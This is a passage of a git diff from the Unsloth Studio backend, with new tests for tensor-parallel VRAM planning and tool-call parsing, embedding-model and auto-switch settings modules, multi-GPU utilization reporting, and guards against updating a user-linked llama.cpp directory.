monkeypatch.setattr(sys, "stdout", stdout) + + print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1") + stdout.flush() + + out = buf.getvalue().decode("cp1252") + assert "? Unsloth Studio is running" in out + + +def test_banner_print_fallback_handles_unknown_stdout_encoding(monkeypatch): + class InvalidEncodingStdout: + encoding = "not-a-real-codec" + + def __init__(self): + self.buf = io.BytesIO() + self.inner = io.TextIOWrapper(self.buf, encoding = "cp1252", errors = "strict") + + def write(self, text): + return self.inner.write(text) + + def flush(self): + return self.inner.flush() + + def getvalue(self): + self.flush() + return self.buf.getvalue().decode("cp1252") + + stdout = InvalidEncodingStdout() + monkeypatch.setattr(sys, "stdout", stdout) + + print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1") + + assert "? Unsloth Studio is running" in stdout.getvalue() diff --git a/studio/backend/tests/test_tensor_parallel.py b/studio/backend/tests/test_tensor_parallel.py index 1f09f9a091..0d71b89d87 100644 --- a/studio/backend/tests/test_tensor_parallel.py +++ b/studio/backend/tests/test_tensor_parallel.py @@ -746,10 +746,14 @@ def test_tp_plan_weighted_split_on_asymmetric_big_model(): b, (ec, mac, gi, ts) = _plan(50) reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB assert gi == [0, 1] - # split weighted by (usable - buffer); with no totals usable is free*frac + # split weighted by (usable - flat buffer - per-device context compute); with + # no totals usable is free*frac. The per-device cc is subtracted so the smaller + # card isn't weighted above its real usable budget (see below). + cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024) + assert cc_per_dev > 0 assert ts == [ - int(48000 * _CTX_FIT_VRAM_FRACTION - reserve), - int(24000 * _CTX_FIT_VRAM_FRACTION - reserve), + int(48000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev), + int(24000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev), ] assert ec < 131072 # capped below native @@ -819,6 +823,75 @@ def test_tp_plan_mtp_reserves_extra_and_shrinks_context(): assert ec_mtp < ec_no +def test_tp_plan_reserves_context_linear_compute_buffer(): + # Tensor mode replicates the compute graph on every device; measured on + # Qwen3.5-9B at f16 the per-device buffer grows ~n_ubatch*2 B/token (~1024 + # B/tok), so the fit must reserve n_dev x that on top of the flat reserve or + # it over-pins and OOMs at high context. The chosen KV must leave room for it. + b, (ec, mac, gi, ts) = _plan(50) + cc = len(gi) * b._compute_buffer_ctx_bytes(ec, None, "f16") + assert cc > 0 + assert b._estimate_kv_cache_bytes(ec) + cc <= _kv_budget_b(50) + + +def test_tp_plan_context_shrinks_vs_compute_unaware(): + # With the context-linear term the pinned context is strictly below what a + # KV-only (compute-unaware) fit at the same budget would allow. + b, (ec, *_r) = _plan(50) + b2 = _kv_seeded_backend() + b2._embedding_length = 0 # kills the context-linear compute term (returns 0) + ec_naive, *_r2 = b2._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072) + assert ec < ec_naive + + +def test_tp_plan_soft_overhead_shrinks_context(): + # The CUDA-ctx / mmproj / MTP-draft reserve the layer path folds into the fit + # budget (model_size_fit) must also shrink the tensor context. Tensor mode has + # no --fit valve, so an unreserved overshoot OOMs at startup instead of + # offloading. A non-zero soft_overhead must pin a strictly smaller context. + b = _kv_seeded_backend() + ec_no, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072) + ec_soft, *_r2 = b._plan_tensor_parallel( + _ASYM, int(50 * _GB), 131072, soft_overhead_bytes = 2 * _GB + ) + assert 2048 < ec_soft < ec_no + + +def test_tp_plan_soft_overhead_reserved_against_budget(): + # The pinned context must leave the whole soft reserve free on top of KV and + # the replicated context compute, so the real footprint stays within the pool. + b = _kv_seeded_backend() + soft = 2 * _GB + ec, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072, soft_overhead_bytes = soft) + cc = len(_ASYM) * b._compute_buffer_ctx_bytes(ec, None, None) + assert b._estimate_kv_cache_bytes(ec) + cc + soft <= _kv_budget_b(50) + + +def test_tp_plan_weighted_split_keeps_small_gpu_within_budget(): + # Regression: the weighted split must subtract each device's replicated context + # compute (cc_bytes/n_dev), not just the flat reserve. Otherwise the smaller + # card is weighted above its usable budget and OOMs at launch. Model the split: + # llama.cpp distributes weights+KV by the tensor-split weights; every device + # also holds the flat reserve plus its per-device context compute. + b, (ec, mac, gi, ts) = _plan(50) + assert ts is not None and len(ts) == len(gi) == 2 + reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB + cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024) + free_by_idx = {0: 48000, 1: 24000} + split_content_mib = (int(50 * _GB) + b._estimate_kv_cache_bytes(ec)) / (1024 * 1024) + total_weight = sum(ts) + for w, idx in zip(ts, gi): + placed = split_content_mib * w / total_weight + usable = free_by_idx[idx] * _CTX_FIT_VRAM_FRACTION + assert placed + reserve + cc_per_dev <= usable + 1 # +1 MiB for int rounding + + # Lock the regression: under the old formula (flat reserve only) the smaller + # card was placed over its budget; the cc term is what pulls it back. + old_adj = [int(free_by_idx[i] * _CTX_FIT_VRAM_FRACTION - reserve) for i in gi] + old_small_placed = split_content_mib * old_adj[1] / sum(old_adj) + assert old_small_placed + reserve + cc_per_dev > free_by_idx[1] * _CTX_FIT_VRAM_FRACTION + + def test_tp_plan_no_kv_metadata_floors_context(): b = LlamaCppBackend() # no KV metadata -> can't size safely ec, mac, gi, ts = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072) diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py index 931d8a705d..39fdd151be 100644 --- a/studio/backend/tests/test_tool_call_parser_strict.py +++ b/studio/backend/tests/test_tool_call_parser_strict.py @@ -71,6 +71,28 @@ class TestFunctionStyleTrailingText: call = _only(text) assert call == {"name": "python", "arguments": {"code": 'print("")'}} + def test_closed_function_with_trailing_prose_heal_path(self): + # Regression: the heal / finalize path (allow_incomplete=True) used to fold + # and the trailing prose into the argument and drop + # the prose from visible content. It must now match the strict path -- keep a + # clean argument and leave the trailing prose outside the call span. + text = "cats trailing words" + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(calls) == 1 + fn = calls[0]["function"] + assert fn["name"] == "web_search" + assert json.loads(fn["arguments"]) == {"query": "cats"} + # The trailing prose sits outside the removed span, so it stays visible. + from core.tool_healing import ( + parse_tool_calls_from_text as _parse_with_spans, + ) + + _calls, spans = _parse_with_spans(text, allow_incomplete = True, with_spans = True) + out = text + for s, e in sorted(spans, reverse = True): + out = out[:s] + out[e:] + assert out == " trailing words" + def test_incomplete_function_without_close_is_still_rejected(self): text = "weather london" assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] @@ -160,3 +182,18 @@ class TestHealingPathUnaffected: calls = parse_tool_calls_from_text(text, allow_incomplete = True) assert len(calls) == 1 assert calls[0]["function"]["name"] == "web_search" + + def test_closed_function_call_keeps_trailing_prose_out_of_arguments(self): + # allow_incomplete exists for truncated output; a call that DID close + # must parse identically to strict mode, leaving prose after + # out of the last parameter and out of the removal span. + from core.tool_healing import parse_tool_calls_from_text as parse_with_spans + + text = "cats trailing" + calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True) + (call,) = calls + assert json.loads(call["function"]["arguments"]) == {"query": "cats"} + (span,) = spans + assert text[span[0] : span[1]] == ( + "cats" + ) diff --git a/studio/backend/tests/test_torchao_select.py b/studio/backend/tests/test_torchao_select.py index a99eb4c45c..2d3dc5fbff 100644 --- a/studio/backend/tests/test_torchao_select.py +++ b/studio/backend/tests/test_torchao_select.py @@ -12,6 +12,7 @@ from __future__ import annotations import sys from pathlib import Path +from unittest.mock import MagicMock import pytest @@ -71,12 +72,58 @@ def test_default_spec_matches_table(monkeypatch): assert mod._select_torchao_spec("2.9.0") == mod._TORCHAO_DEFAULT_SPEC -def test_skips_torchao_on_windows_rocm(): +@pytest.mark.parametrize( + ("rocm_windows_torch_installed", "installed_torch_is_windows_rocm"), + [ + (True, False), + (False, True), + ], +) +def test_skips_torchao_on_windows_rocm( + monkeypatch, tmp_path, rocm_windows_torch_installed, installed_torch_is_windows_rocm +): """The overrides step must skip torchao on Windows ROCm: no working build exists there (it imports an absent c10d backend and crashes transformers.quantizers), so the installer skips it and relies on the runtime stub instead.""" - source = _INSTALL_SCRIPT.read_text(encoding = "utf-8") - # Branches on the Windows-ROCm marker set by _ensure_rocm_torch ... - assert "elif _rocm_windows_torch_installed:" in source - # ... and reports the skip in the progress label. - assert "dependency overrides (skipped, Windows ROCm)" in source + mod = _load_module(monkeypatch) + installed_specs: list[str] = [] + progress_labels: list[str] = [] + + def _record_pip_install(*args, **kwargs): + installed_specs.extend(str(arg) for arg in args) + return 0 + + unstructured_plugin = tmp_path / "unstructured" + github_plugin = tmp_path / "github" + unstructured_plugin.mkdir() + github_plugin.mkdir() + + subprocess_result = MagicMock() + subprocess_result.returncode = 0 + subprocess_result.stdout = "" + + monkeypatch.setenv("SKIP_STUDIO_BASE", "1") + monkeypatch.setattr(mod, "IS_WINDOWS", True) + monkeypatch.setattr(mod, "IS_MACOS", False) + monkeypatch.setattr(mod, "IS_MAC_ARM", False) + monkeypatch.setattr(mod, "NO_TORCH", False) + monkeypatch.setattr(mod, "_rocm_windows_torch_installed", rocm_windows_torch_installed) + monkeypatch.setattr( + mod, "_installed_torch_is_windows_rocm", lambda: installed_torch_is_windows_rocm + ) + monkeypatch.setattr(mod, "_bootstrap_uv", lambda: False) + monkeypatch.setattr(mod, "_repair_bad_anyio", lambda: None) + monkeypatch.setattr(mod, "_ensure_rocm_torch", lambda: None) + monkeypatch.setattr(mod, "_ensure_cuda_torch", lambda: None) + monkeypatch.setattr(mod, "_has_usable_nvidia_gpu", lambda: True) + monkeypatch.setattr(mod, "run", lambda *args, **kwargs: None) + monkeypatch.setattr(mod, "pip_install", _record_pip_install) + monkeypatch.setattr(mod, "_progress", lambda label: progress_labels.append(label)) + monkeypatch.setattr(mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin) + monkeypatch.setattr(mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin) + monkeypatch.setattr(mod.subprocess, "run", lambda *args, **kwargs: subprocess_result) + + assert mod.install_python_stack() == 0 + + assert not any(spec.startswith("torchao") for spec in installed_specs) + assert "dependency overrides (skipped, Windows ROCm)" in progress_labels diff --git a/studio/backend/utils/embedding_model_settings.py b/studio/backend/utils/embedding_model_settings.py new file mode 100644 index 0000000000..798ae6d364 --- /dev/null +++ b/studio/backend/utils/embedding_model_settings.py @@ -0,0 +1,124 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Persisted RAG embedding-model override (Settings -> General). + +The stored value takes precedence over the ``RAG_EMBEDDING_MODEL`` env default in +``core.rag.config``. Vectors from different models live in different spaces, so +documents already indexed under the old model must be re-uploaded after a change +(the UI warns about this). +""" + +from __future__ import annotations + +import threading +import time +from typing import Any + +EMBEDDING_MODEL_SETTING_KEY = "rag_embedding_model" +MAX_EMBEDDING_MODEL_LENGTH = 512 + +# The effective model is consulted on the embedder hot path (once per embed / +# tokenize call during ingestion), so the stored value is cached briefly instead +# of hitting sqlite each time. Writes invalidate immediately in-process; other +# readers converge within the TTL. +_CACHE_TTL_S = 2.0 +_cached: tuple[float, str | None] | None = None +# Bumped on every write/invalidate. A reader captures it before the DB read and +# only fills the cache if it is unchanged afterward, so a read that overlapped a +# save cannot repopulate the cache with the pre-save value for the whole TTL. +_generation = 0 +_lock = threading.Lock() + + +def _invalidate_cache() -> None: + global _cached, _generation + with _lock: + _cached = None + _generation += 1 + + +def default_embedding_model() -> str: + """The env/default model from rag config (``RAG_EMBEDDING_MODEL`` or bge).""" + from core.rag import config + return config.EMBEDDING_MODEL + + +def _coerce_embedding_model(value: Any) -> str | None: + if not isinstance(value, str): + return None + cleaned = value.strip() + if not cleaned or len(cleaned) > MAX_EMBEDDING_MODEL_LENGTH: + return None + # Newlines/control chars are never valid in a repo id or path. + if any(ord(ch) < 32 for ch in cleaned): + return None + return cleaned + + +def validate_embedding_model(value: Any) -> str: + cleaned = _coerce_embedding_model(value) + if cleaned is None: + raise ValueError( + "Embedding model must be a Hugging Face repo id (e.g. " + "'unsloth/bge-small-en-v1.5') or a local model path, up to " + f"{MAX_EMBEDDING_MODEL_LENGTH} characters." + ) + return cleaned + + +def get_stored_embedding_model() -> str | None: + """The persisted override, or None when unset/invalid.""" + global _cached + now = time.monotonic() + with _lock: + cached = _cached + if cached is not None and now - cached[0] < _CACHE_TTL_S: + return cached[1] + gen = _generation + try: + from storage.studio_db import get_app_setting + stored = get_app_setting(EMBEDDING_MODEL_SETTING_KEY, None) + except Exception: + # Transient store failure: keep the last known value instead of + # silently reverting the embed/search hot path to the default model, + # which would mix vector spaces mid-ingestion. + with _lock: + if _cached is not None: + _cached = (time.monotonic(), _cached[1]) + return _cached[1] + return None + value = _coerce_embedding_model(stored) + with _lock: + # Only cache when no save landed while we were reading; otherwise this + # value may be pre-save, and caching it would mask the new one for the + # TTL. The next reader re-reads the committed value. + if _generation == gen: + _cached = (time.monotonic(), value) + return value + + +def get_rag_embedding_model() -> str: + """Effective embedding model: persisted override, else env/default.""" + return get_stored_embedding_model() or default_embedding_model() + + +def set_rag_embedding_model(value: Any) -> str: + parsed = validate_embedding_model(value) + from storage.studio_db import upsert_app_settings + + # Saving the default is not an override; keeps is_custom (and the UI's + # reset affordance) honest. + stored = parsed if parsed != default_embedding_model() else None + upsert_app_settings({EMBEDDING_MODEL_SETTING_KEY: stored}) + _invalidate_cache() + return parsed + + +def reset_rag_embedding_model() -> str: + """Clear the override; returns the (env/default) model now in effect.""" + from storage.studio_db import upsert_app_settings + + upsert_app_settings({EMBEDDING_MODEL_SETTING_KEY: None}) + _invalidate_cache() + return default_embedding_model() diff --git a/studio/backend/utils/hardware/__init__.py b/studio/backend/utils/hardware/__init__.py index 5f2b2abbcf..62b537fbac 100644 --- a/studio/backend/utils/hardware/__init__.py +++ b/studio/backend/utils/hardware/__init__.py @@ -44,6 +44,12 @@ from .vram_estimation import ( estimate_training_vram, ) + +def export_capability() -> dict: + """Return live export capability from the hardware module.""" + return _hardware.export_capability() + + __all__ = [ "DeviceType", "DEVICE", @@ -51,6 +57,7 @@ __all__ = [ "IS_ROCM", "detect_hardware", "get_device", + "export_capability", "is_apple_silicon", "clear_gpu_cache", "get_gpu_memory_info", diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py index 88a1784b88..8d6c919ebd 100644 --- a/studio/backend/utils/hardware/hardware.py +++ b/studio/backend/utils/hardware/hardware.py @@ -263,6 +263,49 @@ def get_device() -> DeviceType: return DEVICE +def export_capability() -> dict: + """Whether model export can run here, with a torch-aware reason when it cannot. + + Export runs through Unsloth, which hard-requires an accelerator (it calls ``torch.cuda`` at + import and has no CPU path), so it is supported iff ``get_device() in {CUDA, XPU, MLX}``. The + reason distinguishes a --no-torch install from a bare-CPU host. Safe to call without torch. + + Returns {export_supported, export_unsupported_reason, export_unsupported_message}. + """ + if get_device() in (DeviceType.CUDA, DeviceType.XPU, DeviceType.MLX): + return { + "export_supported": True, + "export_unsupported_reason": None, + "export_unsupported_message": None, + } + # No accelerator: name the blocker. Apple Silicon first -- its path is MLX, so "install PyTorch" + # would be wrong advice on a Mac even when torch is also absent. + if is_apple_silicon(): + reason = "mlx_unavailable" + message = ( + "Export on Apple Silicon requires the MLX stack, which is unavailable or too old. Run " + "`unsloth studio update` to restore MLX and enable export." + ) + elif not _has_torch(): + reason = "pytorch_not_installed" + message = ( + "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " + "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." + ) + else: + reason = "no_accelerator" + message = ( + "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported " + "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export " + "on CPU only.)" + ) + return { + "export_supported": False, + "export_unsupported_reason": reason, + "export_unsupported_message": message, + } + + def clear_gpu_cache(): """ Clear GPU memory cache for the current device. @@ -710,82 +753,159 @@ def _rocm_windows_perf_counter_vram_gb() -> tuple[Optional[float], Optional[floa return None, None +def _gpu_utilization_payload( + device: DeviceType, devices: list[Dict[str, Any]], **metadata: Any +) -> Dict[str, Any]: + """Keep the legacy primary-GPU shape and append all visible devices.""" + backend = _backend_label(device) + normalized = [] + for ordinal, raw in enumerate(devices): + dev = dict(raw) + dev.setdefault("available", True) + dev.setdefault("backend", backend) + if dev.get("visible_ordinal") is None: + dev["visible_ordinal"] = ordinal + normalized.append(dev) + + normalized.sort(key = lambda dev: dev.get("visible_ordinal", dev.get("index", 0))) + payload: Dict[str, Any] = { + "available": bool(normalized), + "backend": backend, + "devices": normalized, + } + payload.update(metadata) + if normalized: + payload.update(normalized[0]) + payload["available"] = True + payload["backend"] = normalized[0].get("backend", backend) + payload["devices"] = normalized + return payload + + def get_gpu_utilization() -> Dict[str, Any]: - """Return a live snapshot of device utilization information.""" + """Live utilization snapshot for the primary GPU plus all visible GPUs.""" device = get_device() + if device == DeviceType.XPU: + result = get_visible_gpu_utilization() + return _gpu_utilization_payload( + device, + result.get("devices", []), + parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []), + index_kind = result.get("index_kind"), + ) + if device == DeviceType.CUDA: - result = _smi_query("get_primary_gpu_utilization") - if result is not None: - result["backend"] = _backend_label(device) - if IS_ROCM: - # Fix unified-memory VRAM on AMD iGPUs (Strix Halo etc.). - _reconcile_primary_rocm_unified_memory(result, _get_parent_visible_gpu_spec()) - return result - # SMI unavailable. On Windows, use Performance Counters (Task Manager - # source) for system-wide VRAM, covering cross-process usage torch can't see. + parent_visible_spec = _get_parent_visible_gpu_spec() + result = _smi_query( + "get_visible_gpu_utilization", + parent_visible_spec["numeric_ids"], + parent_cuda_visible_devices = parent_visible_spec["raw"], + ) + if result is not None and "devices" in result: + devices = result["devices"] + numeric_ids = parent_visible_spec.get("numeric_ids") + if IS_ROCM and numeric_ids is not None: + _reconcile_rocm_unified_memory(result, numeric_ids) + + return _gpu_utilization_payload( + device, + devices, + backend_cuda_visible_devices = result.get("backend_cuda_visible_devices"), + parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []), + index_kind = result.get("index_kind"), + ) + + # Fallback Windows ROCm if IS_ROCM and platform.system() == "Windows": _win_used, _win_total = _rocm_windows_perf_counter_vram_gb() if _win_used is not None and _win_total is not None: _win_util = _rocm_windows_perf_counter_gpu_util_pct() - return { - "available": True, - "backend": _backend_label(device), - "gpu_utilization_pct": _win_util, - "temperature_c": None, - "vram_used_gb": _win_used, - "vram_total_gb": _win_total, - "vram_utilization_pct": round((_win_used / _win_total) * 100, 1) - if _win_total > 0 - else None, - "power_draw_w": None, - "power_limit_w": None, - "power_utilization_pct": None, - } - # Linux: DRM sysfs gives system-wide VRAM across all processes, no tools needed. + return _gpu_utilization_payload( + device, + [ + { + "available": True, + "backend": _backend_label(device), + "index": 0, + "visible_ordinal": 0, + "gpu_utilization_pct": _win_util, + "temperature_c": None, + "vram_used_gb": _win_used, + "vram_total_gb": _win_total, + "vram_utilization_pct": round((_win_used / _win_total) * 100, 1) + if _win_total > 0 + else None, + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + } + ], + ) + + # Fallback Linux ROCm if IS_ROCM and platform.system() == "Linux": _linux_used, _linux_total = _rocm_linux_sysfs_vram_gb() if _linux_used is not None and _linux_total is not None: _linux_util = _rocm_linux_sysfs_gpu_busy_pct() _linux_temp = _rocm_linux_sysfs_temp_c() _linux_power = _rocm_linux_sysfs_power_w() - return { - "available": True, - "backend": _backend_label(device), - "gpu_utilization_pct": _linux_util, - "temperature_c": _linux_temp, - "vram_used_gb": _linux_used, - "vram_total_gb": _linux_total, - "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1) - if _linux_total > 0 - else None, - "power_draw_w": _linux_power, - "power_limit_w": None, - "power_utilization_pct": None, - } - # Last resort: torch mem_get_info (process-local). - _visible_spec = _get_parent_visible_gpu_spec() - _numeric_ids = _visible_spec.get("numeric_ids") or [0] - _primary_idx = [_numeric_ids[0]] if _numeric_ids else [0] - _torch_devices = _torch_get_per_device_info(_primary_idx) - if _torch_devices: - _td = _torch_devices[0] - _total = _td["total_gb"] - _used = _td["used_gb"] - return { - "available": True, - "backend": _backend_label(device), - "gpu_utilization_pct": None, - "temperature_c": None, - "vram_used_gb": _used, - "vram_total_gb": _total, - "vram_utilization_pct": round((_used / _total) * 100, 1) if _total > 0 else None, - "power_draw_w": None, - "power_limit_w": None, - "power_utilization_pct": None, - } + return _gpu_utilization_payload( + device, + [ + { + "available": True, + "backend": _backend_label(device), + "index": 0, + "visible_ordinal": 0, + "gpu_utilization_pct": _linux_util, + "temperature_c": _linux_temp, + "vram_used_gb": _linux_used, + "vram_total_gb": _linux_total, + "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1) + if _linux_total > 0 + else None, + "power_draw_w": _linux_power, + "power_limit_w": None, + "power_utilization_pct": None, + } + ], + ) - # MLX: _read_apple_gpu_stats() carries both VRAM-used and GPU util%. + # Last resort: torch mem_get_info (process-local) for all visible GPUs + _visible_spec = _get_parent_visible_gpu_spec() + _numeric_ids = _visible_spec.get("numeric_ids") or [] + if not _numeric_ids: + visible_count = _torch_get_physical_gpu_count() or 0 + _numeric_ids = list(range(visible_count)) + + _torch_devices = _torch_get_per_device_info(_numeric_ids) + if _torch_devices: + gpu_array = [] + for _td in _torch_devices: + _total = _td["total_gb"] + _used = _td["used_gb"] + gpu_array.append( + { + "available": True, + "backend": _backend_label(device), + "index": _td["index"], + "name": _td.get("name", "Unknown"), + "gpu_utilization_pct": None, + "temperature_c": None, + "vram_used_gb": _used, + "vram_total_gb": _total, + "vram_utilization_pct": round((_used / _total) * 100, 1) + if _total > 0 + else None, + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + } + ) + return _gpu_utilization_payload(device, gpu_array) + + # MLX if device == DeviceType.MLX: try: import psutil @@ -793,9 +913,8 @@ def get_gpu_utilization() -> Dict[str, Any]: total_bytes = psutil.virtual_memory().total except Exception as e: logger.error(f"Error getting MLX GPU utilization: {e}") - return {"available": False, "backend": device.value, "error": str(e)} - if not agx: - return {"available": False, "backend": device.value} + return {"available": False, "backend": device.value, "devices": [], "error": str(e)} + allocated_bytes = agx.get("vram_used_bytes", 0) or 0 vram_used_gb = allocated_bytes / (1024**3) total_gb = total_bytes / (1024**3) @@ -814,37 +933,51 @@ def get_gpu_utilization() -> Dict[str, Any]: from . import apple - return { - "available": True, - "backend": device.value, - "gpu_utilization_pct": agx.get("utilization_pct") if agx else None, - "temperature_c": apple.read_gpu_temperature_c(), - "vram_used_gb": round(vram_used_gb, 2), - "vram_total_gb": round(total_gb, 2), - "vram_utilization_pct": ( - round((vram_used_gb / total_gb) * 100, 1) if total_gb > 0 else None - ), - "power_draw_w": apple.read_gpu_power_w(), - "power_limit_w": None, - "power_utilization_pct": None, - } + return _gpu_utilization_payload( + device, + [ + { + "available": True, + "backend": device.value, + "index": 0, + "visible_ordinal": 0, + "gpu_utilization_pct": agx.get("utilization_pct") if agx else None, + "temperature_c": apple.read_gpu_temperature_c(), + "vram_used_gb": round(vram_used_gb, 2), + "vram_total_gb": round(total_gb, 2), + "vram_utilization_pct": round((vram_used_gb / total_gb) * 100, 1) + if total_gb > 0 + else None, + "power_draw_w": apple.read_gpu_power_w(), + "power_limit_w": None, + "power_utilization_pct": None, + } + ], + ) mem = get_gpu_memory_info() if device != DeviceType.CPU and mem.get("available"): - return { - "available": True, - "backend": _backend_label(device), - "gpu_utilization_pct": None, - "temperature_c": None, - "vram_used_gb": round(mem.get("allocated_gb", 0), 2), - "vram_total_gb": round(mem.get("total_gb", 0), 2), - "vram_utilization_pct": round(mem.get("utilization_pct", 0), 1), - "power_draw_w": None, - "power_limit_w": None, - "power_utilization_pct": None, - } + return _gpu_utilization_payload( + device, + [ + { + "available": True, + "backend": _backend_label(device), + "index": mem.get("device", 0), + "visible_ordinal": 0, + "gpu_utilization_pct": None, + "temperature_c": None, + "vram_used_gb": round(mem.get("allocated_gb", 0), 2), + "vram_total_gb": round(mem.get("total_gb", 0), 2), + "vram_utilization_pct": round(mem.get("utilization_pct", 0), 1), + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + } + ], + ) - return {"available": False, "backend": _backend_label(device)} + return {"available": False, "backend": _backend_label(device), "devices": []} def _apply_unified_memory_correction( diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py index 8648b053d5..c16ae91467 100644 --- a/studio/backend/utils/llama_cpp_update.py +++ b/studio/backend/utils/llama_cpp_update.py @@ -324,12 +324,74 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]: } +def _is_external_link(path: Optional[Path]) -> bool: + """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink + or a Windows directory junction / reparse point. Such a link resolves into + the user's own llama.cpp checkout, so Studio must never auto-update it.""" + if path is None: + return False + try: + if os.path.islink(path): + return True + except OSError: + return False + if os.name == "nt": + try: + import stat + attrs = os.lstat(path).st_file_attributes # type: ignore[attr-defined] + return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT) + except (OSError, AttributeError): + return False + return False + + +def _active_install_is_local_link(binary: Optional[str]) -> bool: + """True when the active llama-server resolves through a --with-llama-cpp-dir + local link at the canonical llama.cpp directory. An update would write + through that link into the user's own checkout (or fail), so the install is + treated as externally managed: no update is offered or applied. Checks only + up to and including the ``llama.cpp`` dir so a symlinked HOME / studio root + above it can't trip a false positive.""" + if not binary: + return False + for parent in Path(binary).parents: + if _is_external_link(parent): + return True + if parent.name == "llama.cpp": + break + return False + + +def _local_link_status() -> dict: + """Status payload for a local-link install: unmanaged, no update offered.""" + with _job_lock: + job = dict(_job) + return { + "supported": False, + "update_available": False, + "stale": False, + "installed_tag": None, + "latest_tag": None, + "published_repo": None, + "installed_at_utc": None, + "age_days": None, + "source_build": False, + "local_link": True, + "update_size_bytes": None, + "job": job, + } + + def get_update_status(*, force_refresh: bool = False) -> dict: """Report whether a newer prebuilt exists plus the current job state. force_refresh bypasses the 24h release cache for an explicit "check now". """ binary = _find_binary() + # A --with-llama-cpp-dir local link is the user's own tree; never offer to + # replace it. Bail before any network/freshness work. + if _active_install_is_local_link(binary): + return _local_link_status() marker = read_install_marker(binary) with _job_lock: @@ -537,6 +599,19 @@ def start_update() -> dict: """Kick off a background update. Idempotent: a second call while one is running returns the in-flight job rather than starting another.""" binary = _find_binary() + # Refuse to update a --with-llama-cpp-dir local link: installing a prebuilt + # here would write through the link into the user's own checkout (or fail) + # and silently drop the link the flag created. + if _active_install_is_local_link(binary): + return { + "started": False, + "reason": "local_link", + "message": ( + "llama.cpp is a local directory linked with --with-llama-cpp-dir; " + "Studio won't replace it. Update your own llama.cpp checkout instead." + ), + "job": get_update_status()["job"], + } marker = read_install_marker(binary) script = _installer_script() if script is None: diff --git a/studio/backend/utils/openai_auto_switch_settings.py b/studio/backend/utils/openai_auto_switch_settings.py new file mode 100644 index 0000000000..1689395f40 --- /dev/null +++ b/studio/backend/utils/openai_auto_switch_settings.py @@ -0,0 +1,180 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Persisted opt-in controls for OpenAI-compatible model auto-switching. + +Two settings, both off by default so existing API behavior is unchanged: +- ``openai_api_auto_switch_model``: when on, a ``/v1`` request whose ``model`` + names a downloaded local GGUF different from the loaded one transparently + loads it before serving (llama-swap-style). Unknown names pass through. +- ``openai_api_auto_unload_idle_seconds``: when > 0, the loaded GGUF is + unloaded after this many idle seconds to free VRAM. + +The idle TTL can also be set at startup via the ``UNSLOTH_MODEL_IDLE_TTL`` env +var. Unlike the stored setting (which stays gated on auto-switch), the env value +is a standalone default that enables idle-unload even with auto-switch off, for +headless/container deploys; an explicit UI/API value still overrides it. + +Reads are cached for a short window because these are consulted on the +per-request hot path; writes invalidate the cache. +""" + +from __future__ import annotations + +import os +import threading +import time +from typing import Any, Optional + +OPENAI_AUTO_SWITCH_SETTING_KEY = "openai_api_auto_switch_model" +AUTO_UNLOAD_IDLE_SETTING_KEY = "openai_api_auto_unload_idle_seconds" +MODEL_OVERRIDES_SETTING_KEY = "openai_api_auto_switch_overrides" +MODEL_IDLE_TTL_ENV_VAR = "UNSLOTH_MODEL_IDLE_TTL" + +DEFAULT_OPENAI_AUTO_SWITCH_ENABLED = False +DEFAULT_AUTO_UNLOAD_IDLE_SECONDS = 0 + +_CACHE_TTL_S = 2.0 +_cache_lock = threading.Lock() +_cache: dict[str, tuple[float, Any]] = {} + + +def _coerce_bool(value: Any) -> bool | None: + if isinstance(value, bool): + return value + if isinstance(value, str): + normalized = value.strip().lower() + if normalized in {"1", "true", "yes", "on"}: + return True + if normalized in {"0", "false", "no", "off", ""}: + return False + return None + + +def _coerce_int(value: Any) -> int | None: + try: + return max(0, int(value)) + except (TypeError, ValueError): + return None + + +def _cached_setting(key: str, default: Any) -> Any: + """Read an app setting, memoized for _CACHE_TTL_S to spare the hot path.""" + now = time.monotonic() + with _cache_lock: + hit = _cache.get(key) + if hit is not None and now - hit[0] < _CACHE_TTL_S: + return hit[1] + try: + from storage.studio_db import get_app_setting + stored = get_app_setting(key, None) + except Exception: + stored = None + value = default if stored is None else stored + with _cache_lock: + _cache[key] = (now, value) + return value + + +def _invalidate(key: str) -> None: + 